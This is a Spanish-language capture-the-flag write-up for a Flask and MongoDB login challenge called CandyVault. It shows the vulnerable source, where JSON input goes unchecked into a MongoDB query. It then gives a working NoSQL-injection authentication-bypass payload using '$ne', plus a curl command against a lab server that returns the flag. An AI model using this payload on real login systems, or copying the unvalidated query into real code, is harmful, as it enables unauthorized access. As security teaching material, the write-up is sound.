CandyVault
3 minutos de lectura
Se nos proporciona el siguiente sitio web:
También disponemos del código fuente de Python del servidor (Flask).
Análisis del código fuente
El archivo relevante es app.py
:
from flask import Flask, Blueprint, render_template, redirect, jsonify, request
from flask_bcrypt import Bcrypt
from pymongo import MongoClient
app = Flask(__name__)
app.config.from_object("application.config.Config")
bcrypt = Bcrypt(app)
client = MongoClient(app.config["MONGO_URI"])
db = client[app.config["DB_NAME"]]
users_collection = db["users"]
@app.errorhandler(Exception)
def handle_error(error):
message = error.description if hasattr(error, "description") else [str(x) for x in error.args]
response = {
"error": {
"type": error.__class__.__name__,
"message": message
}
}
return response, error.code if hasattr(error, "code") else 500
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded":
email = request.form.get("email")
password = request.form.get("password")
elif content_type == "application/json":
data = request.get_json()
email = data.get("email")
password = data.get("password")
else:
return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user:
return render_template("candy.html", flag=open("flag.txt").read())
else:
return redirect("/")
Solo hay un endpoint en /login
, donde podemos proporcionar datos por POST como application/x-www-form-urlencoded
o application/json
. Luego, nuestras credenciales se verificarán contra una base de datos administrada por MongoDB. Si llegamos a iniciar sesión con éxito, veremos la flag porque la plantilla candy.html
contiene lo siguiente:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="lean">
<link rel="shortcut icon" href="/static/images/candy.png" type="image/png">
<title>🍬 Candy-Vault 🍬</title>
<style>
/* ... */
</style>
</head>
<body>
<p data-text="{{ flag }}">{{ flag }}</p>
</body>
</html>
De acuerdo a util/migrate.py
, ya hay algunos usuarios aleatorios almacenados en la base de datos:
import random
from faker import Faker
from pymongo import MongoClient
from application.config import Config
fake = Faker()
client = MongoClient(Config.MONGO_URI)
db = client[Config.DB_NAME]
users_collection = db["users"]
def generate_random_user():
email = fake.email()
password = fake.password()
return {
"email": email,
"password": password
}
def start_migration():
num_users = 10
for _ in range(num_users):
random_user = generate_random_user()
users_collection.insert_one(random_user)
Pero no conocemos ninguna credencial… ¿cómo podemos iniciar sesión con éxito para obtener la flag?
Solución
La clave aquí es que podemos proporcionar datos por POST como formato JSON, y el servidor no verifica si email
y password
son strings. Entonces, podemos ingresar objetos y, por lo tanto, alterar la consulta de MongoDB. Como resultado, incluso podemos saltarnos la autenticación con un payload como este:
{"email":{"$ne":""},"password":{"$ne":""}}
Esto comprueba que email
y password
no están vacíos, por lo que la consulta devolverá siempre algún resultado y nos saltaremos la autenticación. Para obtener más información sobre esto, busque sobre inyección de NoSQL en HackTricks.
Flag
Simplemente necesitamos usar el payload anterior como application/json
y listo:
$ curl 94.237.56.213:32236/login -d '{"email":{"$ne":""},"password":{"$ne":""}}' -sH 'Content-Type: application/json' | grep HTB
<p data-text="HTB{s4y_h1_t0_th3_c4andy_v4u1t!}">HTB{s4y_h1_t0_th3_c4andy_v4u1t!}</p>